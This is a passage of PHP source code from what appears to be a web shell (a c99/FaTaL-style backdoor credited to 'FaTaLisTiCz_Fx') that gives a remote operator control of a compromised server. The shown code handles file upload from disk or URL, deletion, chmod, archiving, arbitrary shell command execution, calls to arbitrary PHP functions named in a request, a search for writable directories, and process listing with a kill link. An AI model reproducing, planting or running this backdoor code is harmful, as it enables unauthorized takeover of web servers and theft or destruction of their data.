  1406.       echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
  1407.     }
  1408.   }
  1409. }
  1410. if ($act == "upload") {
  1411.   $uploadmess = "";
  1412.   $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
  1413.   if (empty($uploadpath)) {$uploadpath = $d;}
  1414.   elseif (substr($uploadpath,-1) != DIRECTORY_SEPARATOR) {$uploadpath .= DIRECTORY_SEPARATOR;}
  1415.   if (!empty($submit)) {
  1416.     global $_FILES;
  1417.     $uploadfile = $_FILES["uploadfile"];
  1418.     if (!empty($uploadfile["tmp_name"])) {
  1419.       if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
  1420.       else {$destin = $userfilename;}
  1421.       if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {
  1422.         $uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";
  1423.       }
  1424.       else { $uploadmess .= "File uploaded successfully!<br>".$uploadpath.$destin; }
  1425.     }
  1426.     else { echo "No file to upload!"; }
  1427.   }
  1428.   if ($miniform) {
  1429.     echo "<b>".$uploadmess."</b>";
  1430.     $act = "ls";
  1431.   }
  1432.   else {
  1433.     echo "<table><tr><td colspan=2 class=barheader>".
  1434.          ".: File Upload :.</td>".
  1435.          "<td colspan=2>".$uploadmess."</td></tr>".
  1436.          "<tr><td><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST>".
  1437.          "From Your Computer:</td><td><input name=\"uploadfile\" type=\"file\"></td></tr>".
  1438.          "<tr><td>From URL:</td><td><input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"></td></tr>".
  1439.          "<tr><td>Target Directory:</td><td><input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"></td></tr>".
  1440.          "<tr><td>Target File Name:</td><td><input name=uploadfilename size=25></td></tr>".
  1441.          "<tr><td></td><td><input type=checkbox name=uploadautoname value=1 id=df4> Convert file name to lowercase</td></tr>".
  1442.          "<tr><td></td><td><input type=submit name=submit value=\"Upload\">".
  1443.          "</form></td></tr></table>";
  1444.   }
  1445. }
  1446. if ($act == "delete") {
  1447.   $delerr = "";
  1448.   foreach ($actbox as $v) {
  1449.     $result = FALSE;
  1450.     $result = fs_rmobj($v);
  1451.     if (!$result) { $delerr .= "Can't delete ".htmlspecialchars($v)."<br>"; }
  1452.   }
  1453.   if (!empty($delerr)) { echo "<b>Error deleting:</b><br>".$delerr; }
  1454.   $act = "ls";
  1455. }
  1456. if (!$usefsbuff) {
  1457.   if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {
  1458.     echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$usefsbuff\" as TRUE.</center>";
  1459.   }
  1460. }
  1461. else {
  1462.   if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); fx29_sess_put($sess_data); $act = "ls"; }
  1463.   elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); fx29_sess_put($sess_data); $act = "ls";}
  1464.   elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} fx29_sess_put($sess_data); $act = "ls";}
  1465.   if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); fx29_sess_put($sess_data);}
  1466.   elseif ($actpastebuff) {
  1467.     $psterr = "";
  1468.     foreach($sess_data["copy"] as $k=>$v) {
  1469.       $to = $d.basename($v);
  1470.       if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
  1471.       if ($copy_unset) {unset($sess_data["copy"][$k]);}
  1472.     }
  1473.     foreach($sess_data["cut"] as $k=>$v) {
  1474.       $to = $d.basename($v);
  1475.       if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
  1476.       unset($sess_data["cut"][$k]);
  1477.     }
  1478.     fx29_sess_put($sess_data);
  1479.     if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
  1480.     $act = "ls";
  1481.   }
  1482.   elseif ($actarcbuff) {
  1483.     $arcerr = "";
  1484.     if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
  1485.     else {$ext = ".tar.gz";}
  1486.     if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
  1487.     $cmdline .= " ".$actarcbuff_path;
  1488.     $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
  1489.     foreach($objects as $v) {
  1490.       $v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
  1491.       if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
  1492.       if (is_dir($v)) {
  1493.         if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
  1494.         $v .= "*";
  1495.       }
  1496.       $cmdline .= " ".$v;
  1497.     }
  1498.     $tmp = realpath(".");
  1499.     chdir($d);
  1500.     $ret = fx29exec($cmdline);
  1501.     chdir($tmp);
  1502.     if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}
  1503.     $ret = str_replace("\r\n","\n",$ret);
  1504.     $ret = explode("\n",$ret);
  1505.     if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
  1506.     foreach($sess_data["cut"] as $k=>$v) {
  1507.       if (in_array($v,$ret)) {fs_rmobj($v);}
  1508.       unset($sess_data["cut"][$k]);
  1509.     }
  1510.     fx29_sess_put($sess_data);
  1511.     if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;}
  1512.     $act = "ls";
  1513.   }
  1514.   elseif ($actpastebuff) {
  1515.     $psterr = "";
  1516.     foreach($sess_data["copy"] as $k=>$v) {
  1517.       $to = $d.basename($v);
  1518.       if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
  1519.       if ($copy_unset) {unset($sess_data["copy"][$k]);}
  1520.     }
  1521.     foreach($sess_data["cut"] as $k=>$v) {
  1522.       $to = $d.basename($v);
  1523.       if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
  1524.       unset($sess_data["cut"][$k]);
  1525.     }
  1526.     fx29_sess_put($sess_data);
  1527.     if (!empty($psterr)) {echo "<b>Error pasting:</b><br>".$psterr;}
  1528.     $act = "ls";
  1529.   }
  1530. }
  1531. if ($act == "cmd") {
  1532.   @chdir($chdir);
  1533.   if (!empty($submit)) {
  1534.     echo "<div class=barheader>.: Results of Execution :.</div>\n";
  1535.     $olddir = realpath(".");
  1536.     @chdir($d);
  1537.     $ret = fx29exec($cmd);
  1538.     $ret = convert_cyr_string($ret,"d","w");
  1539.     if ($cmd_txt) {
  1540.       $rows = count(explode("\n",$ret))+1;
  1541.       if ($rows < 10) { $rows = 10; } else { $rows = 30; }
  1542.       $cols = 130;
  1543.       echo "<textarea class=shell cols=\"$cols\" rows=\"$rows\" readonly>".htmlspecialchars($ret)."</textarea>\n";
  1544.       //echo "<div align=left><pre>".htmlspecialchars($ret)."</pre></div>";
  1545.     }
  1546.     else { echo $ret."<br>"; }
  1547.     @chdir($olddir);
  1548.   }
  1549. }
  1550. if ($act == "ls") {
  1551.   if (count($ls_arr) > 0) { $list = $ls_arr; }
  1552.   else {
  1553.     $list = array();
  1554.     if ($h = @opendir($d)) {
  1555.       while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
  1556.       closedir($h);
  1557.     }
  1558.   }
  1559.   if (count($list) == 0) { echo "<div class=fxerrmsg>Can't open folder (".htmlspecialchars($d).")!</div>";}
  1560.   else {
  1561.     $objects = array();
  1562.     $vd = "f"; //Viewing mode
  1563.     if ($vd == "f") {
  1564.       $objects["head"] = array();
  1565.       $objects["folders"] = array();
  1566.       $objects["links"] = array();
  1567.       $objects["files"] = array();
  1568.       foreach ($list as $v) {
  1569.         $o = basename($v);
  1570.         $row = array();
  1571.         if ($o == ".") {$row[] = $d.$o; $row[] = "CURDIR";}
  1572.         elseif ($o == "..") {$row[] = $d.$o; $row[] = "UPDIR";}
  1573.         elseif (is_dir($v)) {
  1574.           if (is_link($v)) {$type = "LINK";}
  1575.           else {$type = "DIR";}
  1576.           $row[] = $v;
  1577.           $row[] = $type;
  1578.         }
  1579.         elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
  1580.         $row[] = filemtime($v);
  1581.         if (!$win) {
  1582.           $ow = posix_getpwuid(fileowner($v));
  1583.           $gr = posix_getgrgid(filegroup($v));
  1584.           $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
  1585.         }
  1586.         $row[] = fileperms($v);
  1587.         if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
  1588.         elseif (is_link($v)) {$objects["links"][] = $row;}
  1589.         elseif (is_dir($v)) {$objects["folders"][] = $row;}
  1590.         elseif (is_file($v)) {$objects["files"][] = $row;}
  1591.         $i++;
  1592.       }
  1593.       $row = array();
  1594.       $row[] = "<b>Name</b>";
  1595.       $row[] = "<b>Size</b>";
  1596.       $row[] = "<b>Date Modified</b>";
  1597.       if (!$win) {$row[] = "<b>Owner/Group</b>";}
  1598.       $row[] = "<b>Perms</b>";
  1599.       $row[] = "<b>Action</b>";
  1600.       $parsesort = parsesort($sort);
  1601.       $sort = $parsesort[0].$parsesort[1];
  1602.       $k = $parsesort[0];
  1603.       if ($parsesort[1] != "a") {$parsesort[1] = "d";}
  1604.       $y = " <a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">";
  1605.       $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>";
  1606.       $row[$k] .= $y;
  1607.       for($i=0;$i<count($row)-1;$i++) {
  1608.         if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";}
  1609.       }
  1610.       $v = $parsesort[0];
  1611.       usort($objects["folders"], "tabsort");
  1612.       usort($objects["links"], "tabsort");
  1613.       usort($objects["files"], "tabsort");
  1614.       if ($parsesort[1] == "d") {
  1615.         $objects["folders"] = array_reverse($objects["folders"]);
  1616.         $objects["files"] = array_reverse($objects["files"]);
  1617.       }
  1618.       $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
  1619.       $tab = array();
  1620.       $tab["cols"] = array($row);
  1621.       $tab["head"] = array();
  1622.       $tab["folders"] = array();
  1623.       $tab["links"] = array();
  1624.       $tab["files"] = array();
  1625.       $i = 0;
  1626.       foreach ($objects as $a) {
  1627.         $v = $a[0];
  1628.         $o = basename($v);
  1629.         $dir = dirname($v);
  1630.         if ($disp_fullpath) {$disppath = $v;}
  1631.         else {$disppath = $o;}
  1632.         $disppath = str2mini($disppath,60);
  1633.         if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}
  1634.         elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}
  1635.         foreach ($regxp_highlight as $r) {
  1636.           if (ereg($r[0],$o)) {
  1637.             if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; fx29shexit();}
  1638.             else {
  1639.               $r[1] = round($r[1]);
  1640.               $isdir = is_dir($v);
  1641.               if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) {
  1642.                 if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
  1643.                 $disppath = $r[2].$disppath.$r[3];
  1644.                 if ($r[4]) {break;}
  1645.               }
  1646.             }
  1647.           }
  1648.         }
  1649.         $uo = urlencode($o);
  1650.         $ud = urlencode($dir);
  1651.         $uv = urlencode($v);
  1652.         $row = array();
  1653.         if ($o == ".") {
  1654.           $row[] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."act=img&img=small_dir\" border=\"0\">&nbsp;".$o."</a>";
  1655.           $row[] = "CURDIR";
  1656.         }
  1657.         elseif ($o == "..") {
  1658.           $row[] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."act=img&img=ext_lnk\" border=\"0\">&nbsp;".$o."</a>";
  1659.           $row[] = "UPDIR";
  1660.         }
  1661.         elseif (is_dir($v)) {
  1662.           if (is_link($v)) {
  1663.             $disppath .= " => ".readlink($v);
  1664.             $type = "LINK";
  1665.             $row[] = "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."act=img&img=ext_lnk\" border=\"0\">&nbsp;[".$disppath."]</a>";
  1666.           }
  1667.           else {
  1668.             $type = "DIR";
  1669.             $row[] =  "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."act=img&img=small_dir\" border=\"0\">&nbsp;[".$disppath."]</a>";
  1670.           }
  1671.           $row[] = $type;
  1672.         }
  1673.         elseif(is_file($v)) {
  1674.           $ext = explode(".",$o);
  1675.           $c = count($ext)-1;
  1676.           $ext = $ext[$c];
  1677.           $ext = strtolower($ext);
  1678.           $row[] =  "<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$disppath."</a>";
  1679.           $row[] = view_size($a[1]);
  1680.         }
  1681.         $row[] = @date("d.m.Y H:i:s",$a[2]);
  1682.         if (!$win) { $row[] = $a[3]; }
  1683.         $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>";
  1684.         if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
  1685.         else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
  1686.         if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" border=\"0\"></a>&nbsp;".$checkbox;}
  1687.         else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" border=\"0\"></a>&nbsp;".$checkbox;}
  1688.         if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
  1689.         elseif (is_link($v)) {$tab["links"][] = $row;}
  1690.         elseif (is_dir($v)) {$tab["folders"][] = $row;}
  1691.         elseif (is_file($v)) {$tab["files"][] = $row;}
  1692.         $i++;
  1693.       }
  1694.     }
  1695.     // Compiling table
  1696.     $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
  1697.     echo "<div class=barheader>.: ";
  1698.     if (!empty($fx_infohead)) { echo $fx_infohead; }
  1699.     else { echo "Directory List (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders)"; }
  1700.     echo " :.</div>\n";
  1701.     echo "<form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=\"".$dspact."\"><input type=hidden name=d value=".$d.">".
  1702.          "<table class=explorer>";
  1703.     foreach($table as $row) {
  1704.       echo "<tr>";
  1705.       foreach($row as $v) {echo "<td>".$v."</td>";}
  1706.       echo "</tr>\r\n";
  1707.     }
  1708.     echo "</table>".
  1709.          "<script>".
  1710.          "function ls_setcheckboxall(status) {".
  1711.          " var id = 1; var num = ".(count($table)-2).";".
  1712.          " while (id <= num) { document.getElementById('actbox'+id).checked = status; id++; }".
  1713.          "}".
  1714.          "function ls_reverse_all() {".
  1715.          " var id = 1; var num = ".(count($table)-2).";".
  1716.          " while (id <= num) { document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; id++; }".
  1717.          "}".
  1718.          "</script>".
  1719.          "<div align=\"right\">".
  1720.          "<input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\">".
  1721.          "<img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">";
  1722.     if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) {
  1723.       echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"fx_archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
  1724.     }
  1725.     echo "<select name=act><option value=\"".$act."\">With selected:</option>";
  1726.     echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>";
  1727.     echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>";
  1728.     if ($usefsbuff) {
  1729.       echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>";
  1730.       echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>";
  1731.       echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>";
  1732.     }
  1733.     echo "</select>&nbsp;<input type=submit value=\"Confirm\"></div>";
  1734.     echo "</form>";
  1735.   }
  1736. }
  1737. if ($act == "tools") { tools(); }
  1738. ##[ PHP FILESYSTEM TRICKZ (By FaTaLisTiCz_Fx) ]##
  1739. if ($act == "phpfsys") {
  1740.   echo "<div align=left>";
  1741.   $fsfunc = $phpfsysfunc;
  1742.   if ($fsfunc=="copy") {
  1743.     if (!copy($arg1, $arg2)) { echo "Failed to copy $arg1...\n";}
  1744.     else { echo "<b>Success!</b> $arg1 copied to $arg2\n"; }
  1745.   }
  1746.   elseif ($fsfunc=="rename") {
  1747.     if (!rename($arg1, $arg2)) { echo "Failed to rename/move $arg1!\n";}
  1748.     else { echo "<b>Success!</b> $arg1 renamed/moved to $arg2\n"; }
  1749.   }
  1750.   elseif ($fsfunc=="chmod") {
  1751.     if (!chmod($arg1,$arg2)) { echo "Failed to chmod $arg1!\n";}
  1752.     else { echo "<b>Perm for $arg1 changed to $arg2!</b>\n"; }
  1753.   }
  1754.   elseif ($fsfunc=="read") {
  1755.     $darg = $d.$arg1;
  1756.     if ($hasil = @file_get_contents($darg)) {
  1757.       echo "<b>Filename:</b> ".$darg."<br>";
  1758.       echo "<center><textarea cols=135 rows=30>";
  1759.       echo htmlentities($hasil);
  1760.       echo "</textarea></center>\n";
  1761.     }
  1762.     else { echo "<div class=fxerrmsg> Couldn't open ".$darg."<div>"; }
  1763.   }
  1764.   elseif ($fsfunc=="write") {
  1765.     $darg = $d.$arg1;
  1766.     if(@file_put_contents($darg,$arg2)) {
  1767.       echo "<b>Saved!</b> ".$darg;
  1768.     }
  1769.     else { echo "<div class=fxerrmsg>Can't write to $darg!</div>"; }
  1770.   }
  1771.   elseif ($fsfunc=="downloadbin") {
  1772.     $handle = fopen($arg1, "rb");
  1773.     $contents = '';
  1774.     while (!feof($handle)) {
  1775.       $contents .= fread($handle, 8192);
  1776.     }
  1777.     $r = @fopen($d.$arg2,'w');
  1778.     if (fwrite($r,$contents)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
  1779.     else { echo "<div class=fxerrmsg>Can't write to ".$d.$arg2."!</div>"; }
  1780.     fclose($r);
  1781.     fclose($handle);
  1782.   }
  1783.   elseif ($fsfunc=="download") {
  1784.     $text = implode('', file($arg1));
  1785.     if ($text) {
  1786.       $r = @fopen($d.$arg2,'w');
  1787.       if (fwrite($r,$text)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
  1788.       else { echo "<div class=fxerrmsg>Can't write to ".$d.$arg2."!</div>"; }
  1789.       fclose($r);
  1790.     }
  1791.     else { echo "<div class=fxerrmsg>Can't download from $arg1!</div>";}
  1792.   }
  1793.   elseif ($fsfunc=='mkdir') {
  1794.     $thedir = $d.$arg1;
  1795.     if ($thedir != $d) {
  1796.       if (file_exists($thedir)) { echo "<b>Already exists:</b> ".htmlspecialchars($thedir); }
  1797.       elseif (!mkdir($thedir)) { echo "<b>Access denied:</b> ".htmlspecialchars($thedir); }
  1798.       else { echo "<b>Dir created:</b> ".htmlspecialchars($thedir);}
  1799.     }
  1800.     else { echo "Can't create current dir:<b> $thedir</b>"; }
  1801.   }
  1802.   elseif ($fsfunc=='fwritabledir') {
  1803.     function recurse_dir($dir,$max_dir) {
  1804.       global $dir_count;
  1805.       $dir_count++;
  1806.       if( $cdir = dir($dir) ) {
  1807.         while( $entry = $cdir-> read() ) {
  1808.           if( $entry != '.' && $entry != '..' ) {
  1809.             if(is_dir($dir.$entry) && is_writable($dir.$entry) ) {
  1810.              if ($dir_count > $max_dir) { return; }
  1811.               echo "[".$dir_count."] ".$dir.$entry."\n";
  1812.               recurse_dir($dir.$entry.DIRECTORY_SEPARATOR,$max_dir);
  1813.             }
  1814.           }
  1815.         }
  1816.         $cdir->close();
  1817.       }
  1818.     }
  1819.     if (!$arg1) { $arg1 = $d; }
  1820.     if (!$arg2) { $arg2 = 10; }
  1821.     if (is_dir($arg1)) {
  1822.       echo "<b>Writable directories (Max: $arg2) in:</b> $arg1<hr noshade size=1>";
  1823.       echo "<pre>";
  1824.       recurse_dir($arg1,$arg2);
  1825.       echo "</pre>";
  1826.       $total = $dir_count - 1;
  1827.       echo "<hr noshade size=1><b>Founds:</b> ".$total." of <b>Max</b> $arg2";
  1828.     }
  1829.     else {
  1830.       echo "<div class=fxerrmsg>Directory is not exist or permission denied!</div>";
  1831.     }
  1832.   }
  1833.   else {
  1834.     if (!$arg1) { echo "<div class=fxerrmsg>No operation! Please fill parameter [A]!</div>\n"; }
  1835.     else {
  1836.       if ($hasil = $fsfunc($arg1)) {
  1837.         echo "<b>Result of $fsfunc $arg1:</b><br>";
  1838.         if (!is_array($hasil)) { echo "$hasil\n"; }
  1839.         else {
  1840.           echo "<pre>";
  1841.           foreach ($hasil as $v) { echo $v."\n"; }
  1842.           echo "</pre>";
  1843.         }
  1844.       }
  1845.       else { echo "<div class=fxerrmsg>$fsfunc $arg1 failed!</div>\n"; }
  1846.     }
  1847.   }
  1848.   echo "</div>\n";
  1849. }
  1850. if ($act == "processes") {
  1851.   echo "<div class=barheader>.: Processes :.</div>\n";
  1852.   if (!$win) { $handler = "ps aux".($grep?" | grep '".addslashes($grep)."'":""); }
  1853.   else { $handler = "tasklist"; }
  1854.   $ret = fx29exec($handler);
  1855.   if (!$ret) { echo "Can't execute \"".$handler."\"!"; }
  1856.   else {
  1857.     if (empty($processes_sort)) { $processes_sort = $sort_default; }
  1858.     $parsesort = parsesort($processes_sort);
  1859.     if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
  1860.     $k = $parsesort[0];
  1861.     if ($parsesort[1] != "a") {
  1862.       $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" border=\"0\"></a>";
  1863.     }
  1864.     else {
  1865.       $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";
  1866.     }
  1867.     $ret = htmlspecialchars($ret);
  1868.     if (!$win) { //Not Windows
  1869.       if ($pid) {
  1870.         if (is_null($sig)) { $sig = 9; }
  1871.         echo "Sending signal ".$sig." to #".$pid."... ";
  1872.         if (posix_kill($pid,$sig)) { echo "OK."; } else { echo "ERROR."; }
  1873.       }
  1874.       while (ereg("  ",$ret)) { $ret = str_replace("  "," ",$ret); }
  1875.       $stack = explode("\n",$ret);
  1876.       $head = explode(" ",$stack[0]);
  1877.       unset($stack[0]);
  1878.       for($i=0;$i<count($head);$i++) {
  1879.         if ($i != $k) {
  1880.           $head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";
  1881.         }
  1882.       }
  1883.       $head[$i] = "";
  1884.       $prcs = array();
  1885.       foreach ($stack as $line) {
  1886.         if (!empty($line)) {
  1887.           $line = explode(" ",$line);
  1888.           $line[10] = join(" ",array_slice($line,10));
  1889.           $line = array_slice($line,0,11);
  1890.           if ($line[0] == get_current_user()) { $line[0] = "<font color=green>".$line[0]."</font>"; }
  1891.           $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";
  1892.           $prcs[] = $line;
  1893.         }
  1894.       }
  1895.     }
  1896.     //For Windows - Fixed By FaTaLisTiCz_Fx
  1897.     else {
  1898.       while (ereg("  ",$ret)) { $ret = str_replace("  "," ",$ret); }
  1899.       while (ereg("=",$ret)) { $ret = str_replace("=","",$ret); }
  1900.       $ret = convert_cyr_string($ret,"d","w");
  1901.       $stack = explode("\n",$ret);
  1902.       unset($stack[0],$stack[2]);
  1903.       $stack = array_values($stack);
  1904.       $stack[0]=str_replace("Image Name","ImageName",$stack[0]);
  1905.       $stack[0]=str_replace("Session Name","SessionName",$stack[0]);
  1906.       $stack[0]=str_replace("Mem Usage","MemoryUsage",$stack[0]);
  1907.       $head = explode(" ",$stack[0]);
  1908.       $stack = array_slice($stack,1);
  1909.       $head = array_values($head);
  1910.       if ($parsesort[1] != "a") { $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" border=\"0\"></a>"; }
  1911.       else { $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" border=\"0\"></a>"; }
  1912.       if ($k > count($head)) {$k = count($head)-1;}
  1913.       for($i=0;$i<count($head);$i++) {
  1914.         if ($i != $k) { $head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>"; }
  1915.       }
  1916.       $prcs = array();
  1917.       unset($stack[0]);
  1918.       foreach ($stack as $line) {
  1919.         if (!empty($line)) {
  1920.           $line = explode(" ",$line);
  1921.           $line[4] = str_replace(".","",$line[4]);
  1922.           $line[4] = intval($line[4]) * 1024;
  1923.           unset($line[5]);
  1924.           $prcs[] = $line;
  1925.         }
  1926.       }
  1927.     }
  1928.     $head[$k] = "<b>".$head[$k]."</b>".$y;
  1929.     $v = $processes_sort[0];
  1930.     usort($prcs,"tabsort");
  1931.     if ($processes_sort[1] == "d") { $prcs = array_reverse($prcs); }
  1932.     $tab = array();
  1933.     $tab[] = $head;
  1934.     $tab = array_merge($tab,$prcs);
  1935.     echo "<table class=explorer>\n";
  1936.     foreach($tab as $i=>$k) {
  1937.       echo "<tr>";
  1938.       foreach($k as $j=>$v) {
  1939.         if ($win and $i > 0 and $j == 4) { $v = view_size($v); }
  1940.         echo "<td>".$v."</td>";
  1941.       }
  1942.       echo "</tr>\n";
  1943.     }
  1944.     echo "</table>";
